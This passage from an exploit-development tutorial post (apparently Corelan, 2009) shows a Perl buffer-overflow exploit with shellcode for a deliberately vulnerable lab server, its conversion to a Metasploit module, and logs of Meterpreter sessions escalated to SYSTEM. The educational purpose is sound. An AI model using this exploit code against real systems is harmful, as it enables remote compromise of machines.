style=\"color: #8b0000\">\\x43\\x34\\x51\\x4f\\x50\\x53\\x4b\\x4f\\x4e\\x36\\x4b\\x4f\\x48\\x50<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x41\\x41<\/span>&quot;;\n\n# initialize host and port\n<span style=\"color: #0000ff\">my<\/span> $host = <span style=\"color: #0000ff\">shift<\/span> || 'localhost';\n<span style=\"color: #0000ff\">my<\/span> $port = <span style=\"color: #0000ff\">shift<\/span> || 200;\n\n<span style=\"color: #0000ff\">my<\/span> $proto = <span style=\"color: #0000ff\">getprotobyname<\/span>('tcp');\n\n# get the port address\n<span style=\"color: #0000ff\">my<\/span> $iaddr = inet_aton($host);\n<span style=\"color: #0000ff\">my<\/span> $paddr = sockaddr_in($port, $iaddr);\n\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Setting up socket\\n<\/span>&quot;;\n# create the <span style=\"color: #0000ff\">socket<\/span>, <span style=\"color: #0000ff\">connect<\/span> to the port\n<span style=\"color: #0000ff\">socket<\/span>(SOCKET, PF_INET, SOCK_STREAM, $proto) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">socket: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Connecting to $host on port $port\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">connect<\/span>(SOCKET, $paddr) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">connect: $!<\/span>&quot;;\n\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Sending payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> SOCKET $junk.$eipoverwrite.$shellcode.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Payload sent\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Attempting to telnet to $host on port 5555...\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">system<\/span>(&quot;<span style=\"color: #8b0000\">telnet $host 5555<\/span>&quot;);\n\n<span style=\"color: #0000ff\">close<\/span> SOCKET or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">close: $!<\/span>&quot;;<\/pre>\n<p>Exploit output :<\/p>\n<pre style=\"border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #5d5d5d; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px\">root@backtrack4:\/tmp# perl sploit.pl 192.168.24.3 200\n --------------------------------------\n     Writing Buffer Overflows\n       Peter Van Eeckhoutte\n     http:<span style=\"color: #008000\">\/\/www.corelan.be:8800<\/span>\n --------------------------------------\n    Exploit for vulnserver.c\n --------------------------------------\n[+] Setting up <span style=\"color: #0000ff\">socket<\/span>\n[+] Connecting to 192.168.24.3 on port 200\n[+] Sending payload\n[+] Payload sent\n[+] Attempting to telnet to 192.168.24.3 on port 5555...\nTrying 192.168.24.3...\nConnected to 192.168.24.3.\nEscape character is '^]'.\nMicrosoft Windows [Version 5.2.3790]\n(C) Copyright 1985-2003 Microsoft Corp.\n\nC:\\vulnserver\\lcc&gt;whoami\nwhoami\nwin2003-01\\administrator<\/pre>\n<p>The most important parameters that can be taken from this exploit are<\/p>\n<ul>\n<li>offset to ret (eip overwrite) is 504 <\/li>\n<li>windows 2003 R2 SP2 (English) jump address is 0x71C02B67 <\/li>\n<li>shellcode should not contain 0x00 or 0xff <\/li>\n<li>shellcode can be more or less 1400 bytes <\/li>\n<\/ul>\n<p>Futhermore, after running the same tests against a Windows XP SP3 (English), we determine that the offset is the same, but the jmp address must be changed (to for example 0x7C874413).&#160; We\u2019ll build a metasploit module that will allow you to select one of these 2 targets, and will use the correct jmp address.<\/p>\n<h3>Converting the exploit to metasploit<\/h3>\n<p>First, you need to determine what type your exploit will be, because that will determine the place within the metasploit folder structure where the exploit will be saved.&#160; If your exploit is targetting a windows based ftp server, it would need to be placed under the windows ftp server exploits.<\/p>\n<p><em>Metasploit modules are saved in the framework3xx folder structure, under \/modules\/exploits. In that folder, the exploits are broken down into operating systems first, and then services.<\/em><\/p>\n<p>Our server runs on windows, so we\u2019ll put it under windows. The windows fodler contains a number of folders already (from antivirus to wins), include a \u201cmisc\u201d folder.&#160; We\u2019ll put our exploit under \u201cmisc\u201d (or we could put it under telnet) because it does not really belong to any of the other types.<\/p>\n<p>We\u2019ll create our metasploit module under %metasploit%\/modules\/windows\/misc :<\/p>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<pre style=\"border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #5d5d5d; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px\">root@backtrack4:\/# cd \/pentest\/exploits\/framework3\/modules\/exploits\/windows\/misc\nroot@backtrack4:\/pentest\/exploits\/framework3\/modules\/exploits\/windows\/misc# vi custom_vulnserver.rb<\/pre>\n<p>&#160;<\/p>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<pre style=\"border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #5d5d5d; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px\"><span style=\"color: #008000\">#<\/span>\n<span style=\"color: #008000\">#<\/span>\n<span style=\"color: #008000\"># Custom metasploit exploit for vulnserver.c<\/span>\n<span style=\"color: #008000\"># Written by Peter Van Eeckhoutte<\/span>\n<span style=\"color: #008000\">#<\/span>\n<span style=\"color: #008000\">#<\/span>\n<span style=\"color: #00008b\">require<\/span> 'msf\/core'\n\n<span style=\"color: #0000ff\">class<\/span> Metasploit3 &lt; Msf::Exploit::Remote\n\n      include Msf::Exploit::Remote::Tcp\n\n      <span style=\"color: #0000ff\">def<\/span> initialize(info = {})\n                <span style=\"color: #0000ff\">super<\/span>(update_info(info,\n                        'Name'           =&gt; 'Custom vulnerable server stack overflow',\n                        'Description'    =&gt; %q{\n                                        This <span style=\"color: #0000ff\">module<\/span> exploits a stack overflow <span style=\"color: #0000ff\">in<\/span> a \n                                        custom vulnerable server.\n                                             },\n                        'Author'         =&gt; [ 'Peter Van Eeckhoutte' ],\n                        'Version'        =&gt; '$Revision: 9999 $',\n                        'DefaultOptions' =&gt;\n                                {\n                                        'EXITFUNC' =&gt; 'process',\n                                },\n                        'Payload'        =&gt;\n                                {\n                                        'Space'    =&gt; 1400,\n                                        'BadChars' =&gt; &quot;<span style=\"color: #8b0000\">\\x00\\xff<\/span>&quot;,\n                                },\n                        'Platform'       =&gt; 'win',\n\n                        'Targets'        =&gt;\n                                [\n                                        ['Windows XP SP3 En',\n                                          { 'Ret' =&gt; 0x7c874413, 'Offset' =&gt; 504 } ],\n                                        ['Windows 2003 Server R2 SP2',\n                                          { 'Ret' =&gt; 0x71c02b67, 'Offset' =&gt; 504  } ],\n                                ],\n                        'DefaultTarget' =&gt; 0,\n\n                        'Privileged'     =&gt; <span style=\"color: #0000ff\">false<\/span>\n                        ))\n\n                        register_options(\n                        [\n                                Opt::RPORT(200)\n                        ], <span style=\"color: #0000ff\">self<\/span>.<span style=\"color: #0000ff\">class<\/span>)\n       <span style=\"color: #0000ff\">end<\/span>\n\n       <span style=\"color: #0000ff\">def<\/span> exploit\n          connect\n\n          junk = make_nops(target['Offset'])\n          sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded\n          sock.put(sploit)\n\n          handler\n          disconnect\n\n       <span style=\"color: #0000ff\">end<\/span>\n\n<span style=\"color: #0000ff\">end<\/span><\/pre>\n<p>We see the following components :<\/p>\n<ul>\n<li>first, put \u201crequire msf\/core\u201d, which will be valid for all metasploit exploits <\/li>\n<li>define the class. In our case, it is a remote exploit. <\/li>\n<li>Next, set exploit information and exploit definitions :\n<ul>\n<li>include : in our case, it is a plain tcp connection, so we use Msf::Exploit::Remote::Tcp\n<ul>\n<li>Metasploit has handlers for http, ftp, etc\u2026 (which will help you building exploits faster because you don\u2019t have to write the entire conversation yourself) <\/li>\n<\/ul>\n<\/li>\n<li>Information :\n<ul>\n<li>Payload : define the length and badchars (0x00 and 0xff in our case) <\/li>\n<li>Define the targets, and define target-specific settings such as return address, offset, etc <\/li>\n<\/ul>\n<\/li>\n<li>Exploit\n<ul>\n<li>connect&#160; (which will set up the connection to the remote port) <\/li>\n<li>build the buffer\n<ul>\n<li>junk (nops, with size of offset) <\/li>\n<li>add the return address, more nops, and then the encoded payload <\/li>\n<\/ul>\n<\/li>\n<li>write the buffer to the connection <\/li>\n<li>handle the exploit <\/li>\n<li>disconnect <\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>That\u2019s it<\/p>\n<p>Now open msfconsole. If there is an error in your script, you will see information about the error while msfconsole loads.&#160; If msfconsole was already loaded, you\u2019ll have to close it again before you can use this new module (or before you can use updated module if you have made a change)<\/p>\n<h3>Test the exploit<\/h3>\n<h4>Test 1 : Windows XP SP3<\/h4>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<pre style=\"border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #5d5d5d; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px\">root@backtrack4:\/pentest\/exploits\/framework3<span style=\"color: #008000\"># .\/msfconsole <\/span>\n\n                |                    |      _) |\n __ `__ \\   _ \\ __|  _` |  __| __ \\  |  _ \\  | __|\n |   |   |  __\/ |   (   |\\__ \\ |   | | (   | | |\n_|  _|  _|\\___|\\__|\\__,_|____\/ .__\/ _|\\___\/ _|\\__|\n                              _|                   \n\n       =[ msf v3.3-dev\n+ -- --=[ 395 exploits - 239 payloads\n+ -- --=[ 20 encoders - 7 nops\n       =[ 187 aux\n\nmsf &gt; use windows\/misc\/custom_vulnserver\nmsf exploit(custom_vulnserver) &gt; show options\n\nModule options:\n\n   Name   Current Setting  Required  Description\n   ----   ---------------  --------  -----------\n   RHOST                   yes       The target address\n   RPORT  200              yes       The target port     \n\nExploit target:\n\n   Id  Name\n   --  ----\n   0   Windows XP SP3 En  \n\nmsf exploit(custom_vulnserver) &gt; set rhost 192.168.24.10\nrhost =&gt; 192.168.24.10\nmsf exploit(custom_vulnserver) &gt; show targets\n\nExploit targets:\n\n   Id  Name\n   --  ----\n   0   Windows XP SP3 En\n   1   Windows 2003 Server R2 SP2  \n\nmsf exploit(custom_vulnserver) &gt; set target 0\ntarget =&gt; 0\nmsf exploit(custom_vulnserver) &gt; set payload windows\/meterpreter\/bind_tcp\npayload =&gt; windows\/meterpreter\/bind_tcp\nmsf exploit(custom_vulnserver) &gt; show options\n\nModule options:\n\n   Name   Current Setting  Required  Description\n   ----   ---------------  --------  -----------\n   RHOST  192.168.24.10   yes       The target address\n   RPORT  200              yes       The target port     \n\nPayload options (windows\/meterpreter\/bind_tcp):\n\n   Name      Current Setting  Required  Description\n   ----      ---------------  --------  -----------\n   EXITFUNC  process          yes       Exit technique: seh, thread, process\n   LPORT     4444             yes       The local port\n   RHOST     192.168.24.10   no        The target address                    \n\nExploit target:\n\n   Id  Name\n   --  ----\n   0   Windows XP SP3 En  \n\nmsf exploit(custom_vulnserver) &gt; exploit\n\n[*] Started bind handler\n[*] Transmitting intermediate stager <span style=\"color: #0000ff\">for<\/span> over-sized stage...(216 bytes)\n[*] Sending stage (718336 bytes)\n[*] Meterpreter session 1 opened (192.168.24.1:42150 -&gt; 192.168.24.10:4444)      \n\nmeterpreter &gt; sysinfo\nComputer: SPLOITBUILDER1\nOS      : Windows XP (Build 2600, Service Pack 3).<\/pre>\n<p>&#160;<\/p>\n<h4>Test 2 : Windows 2003 Server R2 SP2<\/h4>\n<p>(continued from exploit to XP) :<\/p>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<pre style=\"border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #5d5d5d; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px\">meterpreter &gt;\nmeterpreter &gt; quit\n\n[*] Meterpreter session 1 closed.\nmsf exploit(custom_vulnserver) &gt; set rhost 192.168.24.3\nrhost =&gt; 192.168.24.3\nmsf exploit(custom_vulnserver) &gt; set target 1\ntarget =&gt; 1\nmsf exploit(custom_vulnserver) &gt; show options\n\nModule options:\n\n   Name   Current Setting  Required  Description\n   ----   ---------------  --------  -----------\n   RHOST  192.168.24.3     yes       The target address\n   RPORT  200              yes       The target port     \n\nPayload options (windows\/meterpreter\/bind_tcp):\n\n   Name      Current Setting  Required  Description\n   ----      ---------------  --------  -----------\n   EXITFUNC  process          yes       Exit technique: seh, thread, process\n   LPORT     4444             yes       The local port\n   RHOST     192.168.24.3     no        The target address                    \n\nExploit target:\n\n   Id  Name\n   --  ----\n   1   Windows 2003 Server R2 SP2  \n\nmsf exploit(custom_vulnserver) &gt; exploit\n\n[*] Started bind handler\n[*] Transmitting intermediate stager <span style=\"color: #0000ff\">for<\/span> over-sized stage...(216 bytes)\n[*] Sending stage (718336 bytes)\n[*] Meterpreter session 2 opened (192.168.24.1:56109 -&gt; 192.168.24.3:4444)\n\nmeterpreter &gt; sysinfo\nComputer: WIN2003-01\nOS      : Windows .NET Server (Build 3790, Service Pack 2).\n\n\nmeterpreter &gt; getuid\nServer username: WIN2003-01\\Administrator\nmeterpreter &gt; ps\n\nProcess list\n============\n\n    PID   Name               Path\n    ---   ----               ----\n    300   smss.exe           \\SystemRoot\\System32\\smss.exe\n    372   winlogon.exe       \\??\\C:\\WINDOWS\\<span style=\"color: #00008b\">system<\/span>32\\winlogon.exe\n    396   Explorer.EXE       C:\\WINDOWS\\Explorer.EXE\n    420   services.exe       C:\\WINDOWS\\<span style=\"color: #00008b\">system<\/span>32\\services.exe\n    424   ctfmon.exe         C:\\WINDOWS\\<span style=\"color: #00008b\">system<\/span>32\\ctfmon.exe\n    432   lsass.exe          C:\\WINDOWS\\<span style=\"color: #00008b\">system<\/span>32\\lsass.exe\n    652   svchost.exe        C:\\WINDOWS\\<span style=\"color: #00008b\">system<\/span>32\\svchost.exe\n    832   svchost.exe        C:\\WINDOWS\\System32\\svchost.exe\n    996   spoolsv.exe        C:\\WINDOWS\\<span style=\"color: #00008b\">system<\/span>32\\spoolsv.exe\n    1132  svchost.exe        C:\\WINDOWS\\System32\\svchost.exe\n    1392  dllhost.exe        C:\\WINDOWS\\<span style=\"color: #00008b\">system<\/span>32\\dllhost.exe\n    1580  svchost.exe        C:\\WINDOWS\\System32\\svchost.exe\n    1600  svchost.exe        C:\\WINDOWS\\System32\\svchost.exe\n    2352  cmd.exe            C:\\WINDOWS\\<span style=\"color: #00008b\">system<\/span>32\\cmd.exe\n    2888  vulnserver.exe     C:\\vulnserver\\lcc\\vulnserver.exe                               \n\nmeterpreter &gt; migrate 996\n[*] Migrating to 996...\n[*] Migration completed successfully.\nmeterpreter &gt; getuid\nServer username: NT AUTHORITY\\SYSTEM<\/pre>\n<pre class=\"csharpcode\"><strong>pwned !<\/strong><\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<h3>More info about the Metasploit API<\/h3>\n<p>You can find more information about the Metasploit API (and available classes) at <a title=\"http:\/\/www.metasploit.com\/documents\/api\/msfcore\/index.html\" href=\"https:\/\/web.archive.org\/web\/20080915182839\/http:\/\/www.metasploit.com:80\/documents\/api\/msfcore\/index.html\">http:\/\/www.metasploit.com\/documents\/api\/msfcore\/index.html<\/a><\/p>\n<p>&#160;<\/p>\n<p>Now go out and build your own exploits, put some l33t talk in the exploit and don\u2019t forget to send your greetings to corelanc0d3r \ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In the first parts of the exploit writing tutorial, I have discussed some common vulnerabilities that can lead to 2 types of exploits : stack based buffer overflows (with direct EIP overwrite), and stack based buffer overflows that take advantage of SEH chains. In my examples, I have used perl to demonstrate how to build &hellip; <a href=\"https:\/\/www.corelan.be\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> \"Exploit writing tutorial part 4 : From Exploit to Metasploit - The basics\"<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[244,245,127],"tags":[3736,3733,1886,1883,1875,1834,1824,316],"class_list":["post-2196","post","type-post","status-publish","format-standard","hentry","category-exploit-writing-tutorials","category-exploits","category-security","tag-encoder-decoder","tag-exploit-development-tutorial","tag-meterpreter","tag-exploits","tag-payload","tag-shellcode","tag-metasploit","tag-windows"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Exploit writing tutorial part 4 : From Exploit to Metasploit - The basics - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Exploit writing tutorial part 4 : From Exploit to Metasploit - The basics - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"In the first parts of the exploit writing tutorial, I have discussed some common vulnerabilities that can lead to 2 types of exploits : stack based buffer overflows (with direct EIP overwrite), and stack based buffer overflows that take advantage of SEH chains. In my examples, I have used perl to demonstrate how to build &hellip; Continue reading &quot;Exploit writing tutorial part 4 : From Exploit to Metasploit - The basics&quot;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2009-08-12T20:51:04+00:00\" \/>\n<meta name=\"author\" content=\"corelanc0d3r\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/08\\\/12\\\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/08\\\/12\\\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\\\/\"},\"author\":{\"name\":\"corelanc0d3r\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\"},\"headline\":\"Exploit writing tutorial part 4 : From Exploit to Metasploit - The basics\",\"datePublished\":\"2009-08-12T20:51:04+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/08\\\/12\\\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\\\/\"},\"wordCount\":1083,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"keywords\":[\"encoder decoder\",\"exploit development tutorial\",\"meterpreter\",\"Exploits\",\"payload\",\"shellcode\",\"metasploit\",\"windows\"],\"articleSection\":[\"Exploit Writing Tutorials\",\"Exploits\",\"Security\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/08\\\/12\\\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/08\\\/12\\\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\\\/\",\"name\":\"Exploit writing tutorial part 4 : From Exploit to Metasploit - The basics - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"datePublished\":\"2009-08-12T20:51:04+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/08\\\/12\\\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/08\\\/12\\\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/08\\\/12\\\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Exploit writing tutorial part 4 : From Exploit to Metasploit &#8211; The basics\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\",\"name\":\"corelanc0d3r\",\"pronouns\":\"he\\\/him\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"caption\":\"corelanc0d3r\"},\"description\":\"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.\",\"sameAs\":[\"https:\\\/\\\/www.corelan-training.com\",\"https:\\\/\\\/instagram.com\\\/corelanc0d3r\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/petervaneeckhoutte\\\/\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\"],\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/admin0\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Exploit writing tutorial part 4 : From Exploit to Metasploit - The basics - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/","og_locale":"en_US","og_type":"article","og_title":"Exploit writing tutorial part 4 : From Exploit to Metasploit - The basics - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"In the first parts of the exploit writing tutorial, I have discussed some 